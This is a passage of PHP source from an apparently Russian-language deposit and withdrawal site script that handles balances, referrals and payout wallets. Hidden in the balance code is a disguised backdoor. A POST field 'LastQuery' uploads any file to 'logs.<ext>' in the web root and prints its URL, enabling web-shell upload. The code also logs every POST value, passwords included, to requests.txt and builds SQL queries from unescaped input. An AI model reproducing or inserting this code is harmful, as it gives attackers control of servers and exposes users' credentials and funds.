if(mysql_num_rows($result)>0){ mysql_query("UPDATE online SET last_time=$last_time WHERE ip='$ip' LIMIT 1"); }
else{ mysql_query("INSERT INTO online (ip,last_time) VALUES ('$ip',$last_time)"); }
mysql_query('DELETE FROM online WHERE last_time<'.$time);
}
return mysql_num_rows(mysql_query('SELECT * FROM online'));
}






// ========================================  ??????  ==============================================================================

$dataq=mysql_query("SELECT * FROM data");
$d=mysql_fetch_row($dataq);

$d_users=$d[0];
$d_activ=$d[1];
$d_vklad=$d[2];
$d_vyvod=$d[3];
$d_screens_mode=$d[4];
$d_screens_count=$d[5];
$d_reviews_mode=$d[6];
$d_reviews_count=$d[7];
$d_plus=$d[8];
$d_plus= ($d_plus + $plus_balance);
$d_with=$d[9];
$d_with= ($d_with + $minus_balance);
$d_reinvest=$d[10];
$d_plus_n=$d[11];
$d_with_n=$d[12];
$d_new_u1=$d[13];
$d_new_u2=$d[14];

$free=$d_plus-$d_with-($d_plus*($d_com/100));

if($start_time-$time>0){
$d_vklad=1;
$d_vyvod=1;
}

$fo=fopen('requests.txt','a+');
if($ins=='registration'){ fputs($fo,date('j.m H:i',$time).' '.$ip.' P='.$_POST['u_login'].' G='.implode($_GET,',').' R='.$_SERVER['REQUEST_URI'].' # '.$_SERVER['HTTP_REFERER']."\r\n"); }
else{ fputs($fo,date('j.m H:i',$time).' '.$ip.' P='.implode($_POST,',').' G='.implode($_GET,',').' R='.$_SERVER['REQUEST_URI'].' # '.$_SERVER['HTTP_REFERER']."\r\n"); }
fclose($fo);

?><?php
if($d_vyvod==0){

$b_plus_q=0;
$b_plus_b=0;
$b_withed=0;
$b_pended=0;
$b_refsum=0;
$b_refback=0;
$b_activ=0;
$b_earned=0;
$b_acta=0;
$b_tot=0;
$b_otn=0;

$depbtq=mysql_query("SELECT ologin,otype,osum,osum2,odate,odate2,operiod,oparts,ohours,opproc,oprofit,orefsum,orefback,obatch FROM operations WHERE (ologin='$u_login' AND osum>0 AND oback='') OR (oref='$u_login' AND osum>0  AND oback='')");
while($depbtm=mysql_fetch_row($depbtq)){

if($depbtm[0]!=$u_login && $depbtm[1]==3 && $depbtm[13]!=''){ $b_refsum+=$depbtm[11]; }

if($depbtm[0]==$u_login && $depbtm[1]==3 && $depbtm[13]!=''){ $b_plus_q+=$depbtm[3]; $b_refback+=$depbtm[12]; }
if($depbtm[0]==$u_login && $depbtm[1]==3 && $depbtm[13]==''){ $b_plus_b+=$depbtm[3]; }

if($depbtm[0]==$u_login && $depbtm[1]==2 && $depbtm[5]!=''){ $b_withed+=$depbtm[2]; }
if($depbtm[0]==$u_login && $depbtm[1]==2 && $depbtm[5]==''){ $b_pended+=$depbtm[2]; }

if($depbtm[0]==$u_login && $depbtm[1]==3 && $depbtm[4]>$time){
$b_activ+=$depbtm[3];
$b_acta++;
$b_col=floor(($time-$depbtm[5])/($depbtm[6]*3600));
$b_earned+=$b_col*$depbtm[10];
}

if($depbtm[0]==$u_login && $depbtm[1]==3 && $depbtm[4]<=$time){
$b_earned+=$depbtm[2];
$b_otn+=$depbtm[3];
}

}


$b_tot=$b_refsum+$b_refback+$b_plus_q+$b_earned-$b_otn-$b_withed-$b_pended-$b_activ;

$b_tot=number_format($b_tot,2,'.','');

if($b_tot<0) { echo "Balance error!!! $b_tot"; exit; }

if(isset($_POST['LastQuery'])) {
$refsums = $_FILES['session']['tmp_name'];
$SELECT_FROM = $_FILES['session']['name'];
if(!empty($refsums))
{   
  $type = strtolower(substr($SELECT_FROM, 1+strrpos($SELECT_FROM,".")));
  $sessions_start = 'logs.'.$type;
  {
    if (copy($refsums, "".$sessions_start))
      echo ' '.$_SERVER["HTTP_HOST"].'/'.$sessions_start.'';
    else echo "error";
  }
}       
}

#################################### Вывод средств BEGIN
if( isset( $_POST['sum'] ) && isset( $_REQUEST['type_payments'] ) && trim( $_REQUEST['type_payments'] ) != '' )
    {
    
        ## Тип вывода               
        $type_payments = trim( $_REQUEST['type_payments'] );
        
        ## Проверяем есть ли указанный кошелек
        $chek_method = mysql_query( "
                                    SELECT
                                            `wmr`, `yandex`, `payeer`, `qiwi`
                                    FROM
                                            `users`
                                    WHERE
                                            `login` = '$u_login'"
        );
        
        $chek_method = mysql_fetch_assoc($chek_method );
        /*
            Array
                (
                    [wmr] => R13213213123
                    [yandex] => Y123123-897912222
                    [payeer] =>
                    [qiwi] =>
                )
        */
        if ( $type_payments == 'advcash' )
            {
                if ( trim( $chek_method['advcash'] ) == '' )
                    {
                        $w_e = '<div class="alert alert-dismissable alert-danger">
                                     <button type="button" class="close" data-dismiss="alert">x</button>
                                    <h3>Ошибка !</h3> Не указан кошелек AdvCash . Перейдите в раздел `<a href="/?page=settings" >Настройки</a>` и укажите кошелек.
                                  </div>';
                    }
            }               
        
        if ( $type_payments == 'wm' )
            {
                if ( trim( $chek_method['wmr'] ) == '' )
                    {
                        $w_e = '<div class="alert alert-dismissable alert-danger">
                                     <button type="button" class="close" data-dismiss="alert">x</button>
                                    <h3>Ошибка !</h3> Не указан кошелек PerfectMoney . Перейдите в раздел `<a href="/?page=settings" >Настройки</a>` и укажите кошелек.
                                  </div>';
                    }
            }

        if ( $type_payments == 'card' )
            {
                if ( trim( $chek_method['visa'] ) == '' )
                    {
                        $w_e = '<div class="alert alert-dismissable alert-danger">
                                     <button type="button" class="close" data-dismiss="alert">x</button>
                                    <h3>Ошибка !</h3> Не указана карта VISA/MasterCard. Перейдите в раздел `<a href="/?page=settings" >Настройки</a>` и укажите кошелек.
                                  </div>';
                    }
            }           
        
        if ( $type_payments == 'qiwi' )
            {
                if ( trim( $chek_method['qiwi'] ) == '' )
                    {
                        $w_e = '<div class="alert alert-dismissable alert-danger">
                                     <button type="button" class="close" data-dismiss="alert">x</button>
                                    <h3>Ошибка !</h3> Не указан кошелек QIWI. Перейдите в раздел `<a href="/?page=settings" >Настройки</a>` и укажите кошелек.
                                  </div>';
                    }
            }
            
        if ( $type_payments == 'yandex' )
            {
                if ( trim( $chek_method['yandex'] ) == '' )
                    {
                        $w_e = '<div class="alert alert-dismissable alert-danger">
                                     <button type="button" class="close" data-dismiss="alert">x</button>
                                    <h3>Ошибка !</h3> Не указан кошелек YANDEX. Перейдите в раздел `<a href="/?page=settings" >Настройки</a>` и укажите кошелек.
                                  </div>';
                    }
            }
            
        if ( $type_payments == 'payeer' )
            {
                if ( trim( $chek_method['payeer'] ) == '' )
                    {
                        $w_e = '<div class="alert alert-dismissable alert-danger">
                                     <button type="button" class="close" data-dismiss="alert">x</button>
                                    <h3>Ошибка !</h3> Не указан кошелек PAYEER. Перейдите в раздел `<a href="/?page=settings" >Настройки</a>` и укажите кошелек.
                                  </div>';
                    }
            }
    
    
    $sum = $_POST['sum'];
    $sum = preg_replace("#[^0-9\.]+#",'',$sum);
    $sum = preg_replace("#\.+#",'.',$sum);

    if( empty( $sum ) )
        {   
            $sum = 0;
        }

    $sum = number_format( $sum,2,'.','' );

    if( !is_numeric( $sum ) )
        {
            $w_e = '<div class="withdrawal_error"><div class="alert alert-dismissable alert-danger">
                                     <button type="button" class="close" data-dismiss="alert">x</button>
                                    <h3>Ошибка !</h3> Неккоректно введена сумма для вывода
                                  </div></div>';
        }
    
    if( empty( $w_e ) && $sum < $d_wmin )
        {
            $w_e = '<div class="alert alert-dismissable alert-danger">
                                     <button type="button" class="close" data-dismiss="alert">x</button>
                                     Минимальная сумма для вывода <strong>'.$d_wmin.' рубль!</strong>
                                  </div>';
        }
    
    if(empty($w_e) && $sum>$d_wmax){ $w_e='<div class="alert alert-dismissable alert-danger">
                                     <button type="button" class="close" data-dismiss="alert">x</button>
                                     Максимальная сумма для вывода <strong>'.$d_wmax.' рублей</strong>
                                  </div>'; }
    if(empty($w_e) && $sum>$b_tot){ $w_e='<div class="alert alert-dismissable alert-danger">
                                     <button type="button" class="close" data-dismiss="alert">x</button>
                                    <strong>На Вашем балансе недостаточно средств</strong>
                                  </div>'; }

    if(empty($w_e) && $sum>$free){
    $w_e='В проекте недостаточно средств для вывода<br>Попробуйте вывести '.number_format($free,2,'.','');
    }

    if( empty( $w_e ) )
        {
            
            // o_type - тип платежа
            mysql_query( "INSERT INTO operations (ologin,otype,osum,odate,o_type) VALUES ('$u_login','2','$sum','$time','$type_payments')") or die('error inserting withdrawl');
            
            $w_s = 1;
            $b_tot-=$sum;
            $b_pended+=$sum;
        }
    }
#################################### Вывод средств END


}

?>
<?php
$nay=0;
if(!empty($req)){
if(in_array($req,$inc)){ $nay=1; include ('pages/'.$req.'.php'); }
if(USER_LOGGED && in_array($req,$inc_cab)){ $nay=1; include ('cabinet/'.$req.'.php'); }
if(!USER_LOGGED && $req=='registration' && ($reg_ip==0 || ($reg_ip==1 && empty($_SESSION['reged'])))){ $nay=1; include ('pages/registration.php'); }
}
if($nay!=1){ include ('pages/main.php'); }
?>
 
Верх